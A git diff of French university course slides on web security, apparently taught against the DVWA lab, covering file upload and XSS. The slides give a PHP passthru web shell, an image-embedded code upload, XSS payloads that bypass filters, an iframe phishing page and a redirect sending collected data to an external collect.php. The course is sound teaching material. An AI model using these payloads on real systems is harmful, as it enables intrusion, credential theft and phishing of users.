fa-medkit"></i> SQLi / Se préserver * Web Application Firewall (WAF) * [mod_security](https://www.modsecurity.org/) diff --git a/content/slides/1337/md/upload.md b/content/slides/1337/md/upload.md index 2e51b29e2cd91379a94b5b597f8b07257929f2b8..6d404f1c89e4975dd8fde99e50dbca3117cf807f 100644 --- a/content/slides/1337/md/upload.md +++ b/content/slides/1337/md/upload.md @@ -1,18 +1,19 @@ # upload +## aka chmod -R 777 -## Upload de fichier - -* Risque - * Upload de code arbitraire - * Backdoor ou Remote shell +### <i class="fas fa-cogs"></i> Upload de fichier * Deux problèmes * filtrage des types de fichiers uploadés * exposition / exécution des scripts au niveau du répertoire d'upload +* Risque + * Upload de code arbitraire + * Backdoor ou Remote shell + -## Upload de fichier +### <i class="fas fa-cogs"></i> Upload de fichier * Configurations liées à l'upload à différents endroits * HTML (côté client) @@ -29,7 +30,7 @@ Note: - pas d'upload ... FTP, WebDav (utilise les verbs HTTP) -## Upload / low +### <i class="fa-solid fa-bomb"></i> Upload / low ``` sudo chown -R www-data /var/www/DVWA/hackable/uploads @@ -51,7 +52,7 @@ echo passthru($_REQUEST['cmd']); ``` -## Upload / $_FILES +### <i class="fa-solid fa-bomb"></i> Upload / $_FILES ``` cd /var/www/DVWA/vulnerabilities/upload/ @@ -73,14 +74,14 @@ Array ( ``` -## Upload / security medium +### <i class="fa-solid fa-bomb"></i> Upload / security medium * contrôle de l'entête HTTP *Content-Type* renvoyé par le navigateur  -## Upload / security high +### <i class="fa-solid fa-bomb"></i> Upload / security high <!-- .element style="width: 120px" --> @@ -96,7 +97,7 @@ exiftool ~/Downloads/kitten.jpg \ Code uploadé :) -## Upload / security high +### <i class="fa-solid fa-bomb"></i> Upload / security high code non exécuté :( @@ -108,7 +109,7 @@ on doit passer par une autre vulnérabilité ou `cp kitten.jpg kitten.php` ;) -## Upload / autres contrôles +### <i class="fa-solid fa-bomb"></i> Upload / autres contrôles db.php @@ -126,7 +127,7 @@ echo passthru($_REQUEST['cmd']) <!-- .element class="table-striped table-bordered table-hover" style="width: 100%" --> -## Upload / autres contrôles +### <i class="fa-solid fa-bomb"></i> Upload / autres contrôles [<!-- .element style="width: 50px" -->](images/upload/lego.jpeg) <small>[lego.jpeg](images/upload/lego.jpeg)</small> @@ -141,7 +142,7 @@ echo passthru($_REQUEST['cmd']) <!-- .element class="table-striped table-bordered table-hover" style="width: 100%" --> -## Upload / autres contrôles +### <i class="fa-solid fa-bomb"></i> Upload / autres contrôles <!-- .element style="width: 50px" --> <small>[kitten.jpg.php](images/upload/kitten.jpg.php)</small> @@ -204,7 +205,7 @@ deny from all * Utiliser PHP pour lire les fichier avec [readfile](http://php.net/manual/fr/function.readfile.php) * prendre en charge la génération des en-têtes **Content-Type** "manuellement" - * [<i class="fa fa-github"></i> igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle) + * [<i class="fab fa-github"></i> igorw/IgorwFileServeBundle](https://github.com/igorw/IgorwFileServeBundle) * [download center lite](http://www.stadtaus.com/fr/php_scripts/download_center_lite/) * permet une meilleure gestion des accès par permission * accès à la session courante diff --git a/content/slides/1337/md/xss.md b/content/slides/1337/md/xss.md index 6e4be5fdce231a7ce7b5472528246f51e492f93f..dc353610d0c115da6c3ac0fbba3c440ff8eaadcb 100644 --- a/content/slides/1337/md/xss.md +++ b/content/slides/1337/md/xss.md @@ -2,10 +2,6 @@ ## aka cross site script -<i class="fa-brands fa-firefox-browser"></i> -<br /><br /><br /><br /><br /><br /> -<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> - ### <i class="fas fa-cogs"></i> XSS @@ -29,7 +25,7 @@     -2.Bob écrit un payload JS ou HTML qui récupère par exemple des informations utilisateurs et les envoies sur son serveur +2.Bob écrit une payload JS ou HTML qui récupère par exemple des informations utilisateurs et les envoie sur son serveur **Il rend ce script accessible via le XSS qu'il a découvert sur la page faillible** @@ -106,9 +102,9 @@ Note: Name: <script>alert('pipo');</script> ``` * url forgé - * <small>[/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3B%3C%2Fscript%3E#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3B%3C%2Fscript%3E#)</small> + * <small>[/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3B%3C%2Fscript%3E#](http://dv.wa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27pipo%27%29%3B%3C%2Fscript%3E#)</small> * url forgé décodé - * <small>[/vulnerabilities/xss_r/?name=<script>alert('pipo');</script>](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_r/?name=<script>alert('pipo');</script>)</small> + * <small>[/vulnerabilities/xss_r/?name=<script>alert('pipo');</script>](http://dv.wa/vulnerabilities/xss_r/?name=<script>alert('pipo');</script>)</small> ### <i class="fa-solid fa-bomb"></i> XSS (reflected) / medium @@ -119,7 +115,7 @@ Name: <script>alert('pipo');</script> * les balises **script** sont filtrées :/ * les balises **sCrIpT** non - * <small>[/vulnerabilities/xss_r/?name=<sCrIpT>alert%28%27pipo%27%29%3B<s%2FsCrIpT>](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_r/?name=<sCrIpT>alert%28%27pipo%27%29%3B<%2FsCrIpT>)</small> + * <small>[/vulnerabilities/xss_r/?name=<sCrIpT>alert%28%27pipo%27%29%3B<s%2FsCrIpT>](http://dv.wa/vulnerabilities/xss_r/?name=<sCrIpT>alert%28%27pipo%27%29%3B<%2FsCrIpT>)</small> ### <i class="fa-solid fa-bomb"></i> XSS (reflected) / high @@ -132,7 +128,7 @@ Name: <script>alert('pipo');</script> ``` <svg onload="alert('pipo');" /> ``` - * <small>[/vulnerabilities/xss_r/?name=<svg+onload%3D"alert%28%27pipo%27%29%3B"+%2F>#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_r/?name=<svg+onload%3D"alert%28%27pipo%27%29%3B"+%2F>#)</small> + * <small>[/vulnerabilities/xss_r/?name=<svg+onload%3D"alert%28%27pipo%27%29%3B"+%2F>#](http://dv.wa/vulnerabilities/xss_r/?name=<svg+onload%3D"alert%28%27pipo%27%29%3B"+%2F>#)</small> ### <i class="fas fa-cogs"></i> XSS (stored) @@ -214,7 +210,7 @@ ne produit qu'une alerte <i class="fas fa-face-smile-wink"></i> ### <i class="fa-solid fa-bomb"></i> XSS (DOM) / low * sélectionner une valeur - * [/vulnerabilities/xss_d/?default=French](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_d/?default=French) + * [/vulnerabilities/xss_d/?default=French](http://dv.wa/vulnerabilities/xss_d/?default=French) * inspecter le formulaire ``` @@ -229,12 +225,12 @@ document.write( ); ``` -<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/?default=<script>alert('pipo');</script>](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27pipo%27);%3C/script%3E)</small> +<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/?default=<script>alert('pipo');</script>](http://dv.wa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27pipo%27);%3C/script%3E)</small> ### <i class="fa-solid fa-bomb"></i> XSS (DOM) / medium -<small><i class="fas fa-lightbulb"></i> [/vulnerabilities/xss_d/?default=<script>alert('pipo');</script>](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27pipo%27);%3C/script%3E)</small> +<small><i class="fas fa-lightbulb"></i> [/vulnerabilities/xss_d/?default=<script>alert('pipo');</script>](http://dv.wa/vulnerabilities/xss_d/?default=%3Cscript%3Ealert(%27pipo%27);%3C/script%3E)</small> * ne fonctionne plus * redirection vers `default=English` si le paramètre contient le motif `<script` @@ -244,7 +240,7 @@ document.write( default: <svg onload="alert('pipo');" /"> ``` -<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/xss_d/?default=%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%3E](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_d/?default=%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%3E)</small> +<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/xss_d/?default=%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%3E](http://dv.wa/vulnerabilities/xss_d/?default=%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%3E)</small> ### <i class="fa-solid fa-bomb"></i> XSS (DOM) / medium @@ -255,7 +251,7 @@ default: <svg onload="alert('pipo');" /"> default: ></option></select><svg onload="alert('pipo');" /"> ``` - <small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/?default=%3E%3C/option%3E%3C/select%3E%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%22%3E](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_d/?default=%3E%3C/option%3E%3C/select%3E%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%22%3E)</small> + <small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/?default=%3E%3C/option%3E%3C/select%3E%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%22%3E](http://dv.wa/vulnerabilities/xss_d/?default=%3E%3C/option%3E%3C/select%3E%3Csvg%20onload=%22alert(%27pipo%27);%22%20/%22%3E)</small> ### <i class="fa-solid fa-bomb"></i> XSS (DOM) / high @@ -270,7 +266,7 @@ default: <svg onload="alert('pipo');" /"> * récupère TOUS les caractères à partir du huitième en fin d'url * donc `?default=` ne marche plus MAIS `#default=` a une chance de marcher -<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/#default=<script>alert('pipo');</script>](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_d/#default=<script>alert('pipo');</script>)</small> +<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/xss_d/#default=<script>alert('pipo');</script>](http://dv.wa/vulnerabilities/xss_d/#default=<script>alert('pipo');</script>)</small> ### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement @@ -283,9 +279,12 @@ default: <svg onload="alert('pipo');" /"> * être le plus silencieux possible dans la navigation - ### <i class="fa-solid fa-bomb"></i> XSS / payloads / défacement +``` +wget https://perso.isima.fr/mazenod/slides/1337/exploits.zip -O ~/Desktop/exploits.zip +``` + * page malicieuse * [https://perso.limos.fr/mazenod/slides/1337/exploits/login.php](https://perso.limos.fr/mazenod/slides/1337/exploits/login.php) ``` @@ -306,7 +305,7 @@ Name: <iframe src="https://perso.limos.fr/mazenod/slides/1337/exploits/login.php </iframe> ``` -<small><i class="fa-solid fa-circle-check"></i> XSS / reflected / low [/vulnerabilities/xss_r/?name=<iframe+...+<%2Fiframe>#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22https%3A%2F%2Fperso.limos.fr%2Fmazenod%2Fslides%2F1337%2Fexploits%2Flogin.php%22+++style%3D%22position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B+width%3A+100%25%3B+height%3A+100%25%3B%22%3E+%3C%2Fiframe%3E#)</small> +<small><i class="fa-solid fa-circle-check"></i> XSS / reflected / low [/vulnerabilities/xss_r/?name=<iframe+...+<%2Fiframe>#](http://dv.wa/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22https%3A%2F%2Fperso.limos.fr%2Fmazenod%2Fslides%2F1337%2Fexploits%2Flogin.php%22+++style%3D%22position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B+width%3A+100%25%3B+height%3A+100%25%3B%22%3E+%3C%2Fiframe%3E#)</small> <i class="fa-solid fa-lightbulb"></i> [par défaut apache ne permet pas d'inclure des pages dans des iframes](https://tecadmin.net/configure-x-frame-options-apache/) @@ -332,11 +331,13 @@ location.replace("https://perso.limos.fr/mazenod/slides/1337/exploits/collect.ph // redirect pour être silencieux ``` -<small><i class="fa-solid fa-circle-check"></i> XSS / reflected / low [/vulnerabilities/xss_r/?name=<iframe+...+<%2Fiframe>#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22https%3A%2F%2Fperso.limos.fr%2Fmazenod%2Fslides%2F1337%2Fexploits%2Flogin.php%22+++style%3D%22position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B+width%3A+100%25%3B+height%3A+100%25%3B%22%3E+%3C%2Fiframe%3E#)</small> +<small><i class="fa-solid fa-circle-check"></i> XSS / reflected / low [/vulnerabilities/xss_r/?name=<iframe+...+<%2Fiframe>#](http://dv.wa/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22https%3A%2F%2Fperso.limos.fr%2Fmazenod%2Fslides%2F1337%2Fexploits%2Flogin.php%22+++style%3D%22position%3A+absolute%3B+top%3A0%3B+left%3A+0%3B+width%3A+100%25%3B+height%3A+100%25%3B%22%3E+%3C%2Fiframe%3E#)</small> ### <i class="fa-solid fa-bomb"></i> XSS / payloads / CSRF +* voir [CSRF](/slides/1337/csrf.html) + ### <i class="fa-solid fa-bomb"></i> XSS / payloads / Browser Hijacking @@ -345,7 +346,10 @@ location.replace("https://perso.limos.fr/mazenod/slides/1337/exploits/collect.ph * les navigateurs connectés à la page se comportent ensuite comme des zombies * répondent aux payloads qu'on leur envoie -<!-- .element style="margin: 10px" width="60%" --> + +### <i class="fa-solid fa-bomb"></i> XSS / payloads / Browser Hijacking + +<!-- .element style="margin: 10px" width="80%" --> ### <i class="fas fa-medkit"></i> XSS / fix @@ -374,12 +378,12 @@ session.cookie_httponly = 1 * <i class="fas fa-fire"></i> [XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) -* <i class="fas fa-fire"></i> [<i class="fa fa-github"></i> alcuadrado/hieroglyphy](https://github.com/alcuadrado/hieroglyphy) +* <i class="fas fa-fire"></i> [<i class="fab fa-github"></i> alcuadrado/hieroglyphy](https://github.com/alcuadrado/hieroglyphy) * [<i class="fa fa-newspaper-o"></i> permet de convertir le code js en caractères non alphanumériques en le gardant fonctionnel](http://patriciopalladino.com/blog/2012/08/09/non-alphanumeric-javascript.html) * coté client - * [<i class="fa fa-firefox"></i> NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript/) est une option + * [<i class="fab fa-firefox"></i> NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript/) est une option Note: - waf pro mode apprentissage avant le lancement pre prod